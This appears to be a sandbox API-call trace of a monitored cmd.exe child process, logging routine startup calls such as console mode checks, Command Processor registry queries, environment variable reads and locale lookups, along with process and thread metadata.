	[0183.283] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0183.284] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7c2108150, Add=1) returned 1
	[0183.284] _get_osfhandle (_FileHandle=1) returned 0x254
	[0183.285] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7c211fc04 | out: lpMode=0x7ff7c211fc04) returned 0
	[0183.285] _get_osfhandle (_FileHandle=0) returned 0x248
	[0183.285] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7c211fc00 | out: lpMode=0x7ff7c211fc00) returned 0
	[0183.285] _get_osfhandle (_FileHandle=1) returned 0x254
	[0183.285] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0183.285] _get_osfhandle (_FileHandle=1) returned 0x254
	[0183.285] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7c211fc08 | out: lpMode=0x7ff7c211fc08) returned 0
	[0183.285] _get_osfhandle (_FileHandle=0) returned 0x248
	[0183.285] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7c211fc0c | out: lpMode=0x7ff7c211fc0c) returned 0
	[0183.285] GetEnvironmentStringsW () returned 0x2ab975a5a10*
	[0183.285] GetProcessHeap () returned 0x2ab975a0000
	[0183.285] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x8, Size=0xa7c) returned 0x2ab975a64a0
	[0183.285] FreeEnvironmentStringsA (penv="A") returned 1
	[0183.285] GetProcessHeap () returned 0x2ab975a0000
	[0183.285] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x8, Size=0x8) returned 0x2ab975a6f30
	[0183.286] GetEnvironmentStringsW () returned 0x2ab975a5a10*
	[0183.286] GetProcessHeap () returned 0x2ab975a0000
	[0183.286] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x8, Size=0xa7c) returned 0x2ab975a6f50
	[0183.286] FreeEnvironmentStringsA (penv="A") returned 1
	[0183.286] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbc6671eb48 | out: phkResult=0xbc6671eb48*=0x7c) returned 0x0
	[0183.286] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x0, lpData=0xbc6671eb60*=0x4, lpcbData=0xbc6671eb44*=0x1000) returned 0x2
	[0183.286] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x1, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.286] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x0, lpData=0xbc6671eb60*=0x1, lpcbData=0xbc6671eb44*=0x1000) returned 0x2
	[0183.286] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x0, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.286] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x40, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.286] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x40, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.286] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x0, lpData=0xbc6671eb60*=0x40, lpcbData=0xbc6671eb44*=0x1000) returned 0x2
	[0183.287] RegCloseKey (hKey=0x7c) returned 0x0
	[0183.287] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbc6671eb48 | out: phkResult=0xbc6671eb48*=0x7c) returned 0x0
	[0183.287] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x0, lpData=0xbc6671eb60*=0x40, lpcbData=0xbc6671eb44*=0x1000) returned 0x2
	[0183.287] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x1, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.287] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x0, lpData=0xbc6671eb60*=0x1, lpcbData=0xbc6671eb44*=0x1000) returned 0x2
	[0183.287] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x0, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.287] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x9, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.287] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x4, lpData=0xbc6671eb60*=0x9, lpcbData=0xbc6671eb44*=0x4) returned 0x0
	[0183.287] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbc6671eb40, lpData=0xbc6671eb60, lpcbData=0xbc6671eb44*=0x1000 | out: lpType=0xbc6671eb40*=0x0, lpData=0xbc6671eb60*=0x9, lpcbData=0xbc6671eb44*=0x1000) returned 0x2
	[0183.287] RegCloseKey (hKey=0x7c) returned 0x0
	[0183.287] time (in: timer=0x0 | out: timer=0x0) returned 0x5cd7418f
	[0183.287] srand (_Seed=0x5cd7418f) 
	[0183.287] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0183.287] malloc (_Size=0x4000) returned 0x2ab978954f0
	[0183.288] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0183.288] malloc (_Size=0xffce) returned 0x2ab976a0080
	[0183.289] ??_V@YAXPEAX@Z () returned 0x2ab976a0080
	[0183.290] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ab976a0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0183.290] malloc (_Size=0xffce) returned 0x2ab976b0060
	[0183.290] ??_V@YAXPEAX@Z () returned 0x2ab976b0060
	[0183.291] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ab976b0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0183.291] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0183.291] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0183.291] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0183.291] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0183.291] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0183.292] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0183.292] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0183.292] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0183.292] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0183.292] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0183.292] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0183.292] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0183.292] GetProcessHeap () returned 0x2ab975a0000
	[0183.292] RtlFreeHeap (HeapHandle=0x2ab975a0000, Flags=0x0, BaseAddress=0x2ab975a64a0) returned 1
	[0183.292] GetEnvironmentStringsW () returned 0x2ab975a5a10*
	[0183.292] GetProcessHeap () returned 0x2ab975a0000
	[0183.292] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x8, Size=0xa94) returned 0x2ab975a7a10
	[0183.292] FreeEnvironmentStringsA (penv="A") returned 1
	[0183.292] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0183.292] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0183.293] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0183.293] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0183.293] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0183.293] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0183.293] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0183.293] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0183.293] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0183.293] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0183.293] malloc (_Size=0xffce) returned 0x2ab976c0040
	[0183.293] ??_V@YAXPEAX@Z () returned 0x2ab976c0040
	[0183.294] GetProcessHeap () returned 0x2ab975a0000
	[0183.294] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x8, Size=0x38) returned 0x2ab975a84b0
	[0183.294] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ab976c0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0183.294] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2ab976c0040, lpFilePart=0xbc6671f6c0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xbc6671f6c0*="system32") returned 0x13
	[0183.297] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0183.297] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xbc6671f3f0 | out: lpFindFileData=0xbc6671f3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x2ab975a84f0
	[0183.298] FindClose (in: hFindFile=0x2ab975a84f0 | out: hFindFile=0x2ab975a84f0) returned 1
	[0183.298] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xbc6671f3f0 | out: lpFindFileData=0xbc6671f3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x9516fab0, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9516fab0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x2ab975a84f0
	[0183.298] FindClose (in: hFindFile=0x2ab975a84f0 | out: hFindFile=0x2ab975a84f0) returned 1
	[0183.298] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0183.298] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0183.298] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0183.298] GetProcessHeap () returned 0x2ab975a0000
	[0183.298] RtlFreeHeap (HeapHandle=0x2ab975a0000, Flags=0x0, BaseAddress=0x2ab975a7a10) returned 1
	[0183.298] GetEnvironmentStringsW () returned 0x2ab975a84f0*
	[0183.298] GetProcessHeap () returned 0x2ab975a0000
	[0183.298] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x8, Size=0xac4) returned 0x2ab975a5a10
	[0183.298] FreeEnvironmentStringsA (penv="=") returned 1
	[0183.299] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ab976a0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0183.299] GetProcessHeap () returned 0x2ab975a0000
	[0183.299] RtlFreeHeap (HeapHandle=0x2ab975a0000, Flags=0x0, BaseAddress=0x2ab975a84b0) returned 1
	[0183.299] ??_V@YAXPEAX@Z () returned 0x1
	[0183.299] ??_V@YAXPEAX@Z () returned 0x1
	[0183.299] GetProcessHeap () returned 0x2ab975a0000
	[0183.299] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x8, Size=0x4016) returned 0x2ab975a7a10
	[0183.299] GetProcessHeap () returned 0x2ab975a0000
	[0183.299] RtlFreeHeap (HeapHandle=0x2ab975a0000, Flags=0x0, BaseAddress=0x2ab975a7a10) returned 1
	[0183.300] GetConsoleOutputCP () returned 0x1b5
	[0183.986] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0183.986] GetUserDefaultLCID () returned 0x409
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7c211bb78, cchData=8 | out: lpLCData=":") returned 2
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbc6671fa80, cchData=128 | out: lpLCData="0") returned 2
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbc6671fa80, cchData=128 | out: lpLCData="0") returned 2
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbc6671fa80, cchData=128 | out: lpLCData="1") returned 2
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7c211bb68, cchData=8 | out: lpLCData="/") returned 2
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7c211bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7c211bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7c211ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7c211ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7c211ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0183.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7c211b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0183.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7c211b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0183.987] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7c211bb58, cchData=8 | out: lpLCData=".") returned 2
	[0183.987] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7c211bb40, cchData=8 | out: lpLCData=",") returned 2
	[0183.987] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0183.988] GetProcessHeap () returned 0x2ab975a0000
	[0183.988] RtlAllocateHeap (HeapHandle=0x2ab975a0000, Flags=0x0, Size=0x20c) returned 0x2ab975a6550
	[0183.989] GetConsoleTitleW (lpConsoleTitle=0x2ab975a6550, nSize=0x104) 

Thread:
	id = 114
	os_tid = 0x8c8


Process:
	id = "15"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x35dd1000"
	os_pid = "0xfd4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xdd4"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 91
	os_tid = 0xfd8

	[0182.657] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7c20e0000
	[0182.658] __set_app_type (_Type=0x1) 
	[0182.658] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7c20f6d00) returned 0x0
	[0182.658] __getmainargs (in: _Argc=0x7ff7c2119200, _Argv=0x7ff7c2119208, _Env=0x7ff7c2119210, _DoWildCard=0, _StartInfo=0x7ff7c211921c | out: _Argc=0x7ff7c2119200, _Argv=0x7ff7c2119208, _Env=0x7ff7c2119210) returned 0
	[0182.659] _onexit (_Func=0x7ff7c20f7fd0) returned 0x7ff7c20f7fd0
	[0182.659] _onexit (_Func=0x7ff7c20f7fe0) returned 0x7ff7c20f7fe0
	[0182.661] _onexit (_Func=0x7ff7c20f7ff0) returned 0x7ff7c20f7ff0
	[0182.661] _onexit (_Func=0x7ff7c20f8000) returned 0x7ff7c20f8000
	[0182.661] _onexit (_Func=0x7ff7c20f8010) returned 0x7ff7c20f8010
	[0182.662] _onexit (_Func=0x7ff7c20f8020) returned 0x7ff7c20f8020
	[0182.662] GetCurrentThreadId () returned 0xfd8
	[0182.662] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfd8) returned 0x70
	[0182.663] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffb427e0000
	[0182.663] GetProcAddress (hModule=0x7ffb427e0000, lpProcName="SetThreadUILanguage") returned 0x7ffb427fa990
	[0182.663] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0183.638] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0183.638] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7c073fd78 | out: phkResult=0x7c073fd78*=0x0) returned 0x2
	[0183.638] VirtualQuery (in: lpAddress=0x7c073fd64, lpBuffer=0x7c073fce0, dwLength=0x30 | out: lpBuffer=0x7c073fce0*(BaseAddress=0x7c073f000, AllocationBase=0x7c0640000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0183.638] VirtualQuery (in: lpAddress=0x7c0640000, lpBuffer=0x7c073fce0, dwLength=0x30 | out: lpBuffer=0x7c073fce0*(BaseAddress=0x7c0640000, AllocationBase=0x7c0640000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0183.638] VirtualQuery (in: lpAddress=0x7c0641000, lpBuffer=0x7c073fce0, dwLength=0x30 | out: lpBuffer=0x7c073fce0*(BaseAddress=0x7c0641000, AllocationBase=0x7c0640000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0183.638] VirtualQuery (in: lpAddress=0x7c0644000, lpBuffer=0x7c073fce0, dwLength=0x30 | out: lpBuffer=0x7c073fce0*(BaseAddress=0x7c0644000, AllocationBase=0x7c0640000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0183.640] VirtualQuery (in: lpAddress=0x7c0740000, lpBuffer=0x7c073fce0, dwLength=0x30 | out: lpBuffer=0x7c073fce0*(BaseAddress=0x7c0740000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffcd89, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0183.640] GetConsoleOutputCP () returned 0x1b5
	[0184.419] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0184.420] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7c2108150, Add=1) returned 1
	[0184.420] _get_osfhandle (_FileHandle=1) returned 0x2b4
	[0184.420] GetConsoleMode (in: hConsoleHandle=0x2b4, lpMode=0x7ff7c211fc04 | out: lpMode=0x7ff7c211fc04) returned 0
	[0184.420] _get_osfhandle (_FileHandle=0) returned 0x29c
	[0184.420] GetConsoleMode (in: hConsoleHandle=0x29c, lpMode=0x7ff7c211fc00 | out: lpMode=0x7ff7c211fc00) returned 0
	[0184.420] _get_osfhandle (_FileHandle=1) returned 0x2b4
	[0184.420] SetConsoleMode (hConsoleHandle=0x2b4, dwMode=0x0) returned 0
	[0184.420] _get_osfhandle (_FileHandle=1) returned 0x2b4
	[0184.420] GetConsoleMode (in: hConsoleHandle=0x2b4, lpMode=0x7ff7c211fc08 | out: lpMode=0x7ff7c211fc08) returned 0
	[0184.420] _get_osfhandle (_FileHandle=0) returned 0x29c
	[0184.420] GetConsoleMode (in: hConsoleHandle=0x29c, lpMode=0x7ff7c211fc0c | out: lpMode=0x7ff7c211fc0c) returned 0
	[0184.420] GetEnvironmentStringsW () returned 0x16584385a40*
	[0184.421] GetProcessHeap () returned 0x16584380000
	[0184.421] RtlAllocateHeap (HeapHandle=0x16584380000, Flags=0x8, Size=0xab6) returned 0x16584386500
	[0184.421] FreeEnvironmentStringsA (penv="=") returned 1
	[0184.421] GetProcessHeap () returned 0x16584380000
	[0184.421] RtlAllocateHeap (HeapHandle=0x16584380000, Flags=0x8, Size=0x8) returned 0x16584385a40
	[0184.421] GetEnvironmentStringsW () returned 0x16584386fd0*
	[0184.421] GetProcessHeap () returned 0x16584380000
	[0184.421] RtlAllocateHeap (HeapHandle=0x16584380000, Flags=0x8, Size=0xab6) returned 0x16584387a90
	[0184.421] FreeEnvironmentStringsA (penv="=") returned 1
	[0184.422] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7c073ec28 | out: phkResult=0x7c073ec28*=0x7c) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x0, lpData=0x7c073ec40*=0x4, lpcbData=0x7c073ec24*=0x1000) returned 0x2
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x1, lpcbData=0x7c073ec24*=0x4) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x0, lpData=0x7c073ec40*=0x1, lpcbData=0x7c073ec24*=0x1000) returned 0x2
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x0, lpcbData=0x7c073ec24*=0x4) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x40, lpcbData=0x7c073ec24*=0x4) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x40, lpcbData=0x7c073ec24*=0x4) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x0, lpData=0x7c073ec40*=0x40, lpcbData=0x7c073ec24*=0x1000) returned 0x2
	[0184.422] RegCloseKey (hKey=0x7c) returned 0x0
	[0184.422] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7c073ec28 | out: phkResult=0x7c073ec28*=0x7c) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x0, lpData=0x7c073ec40*=0x40, lpcbData=0x7c073ec24*=0x1000) returned 0x2
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x1, lpcbData=0x7c073ec24*=0x4) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x0, lpData=0x7c073ec40*=0x1, lpcbData=0x7c073ec24*=0x1000) returned 0x2
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x0, lpcbData=0x7c073ec24*=0x4) returned 0x0
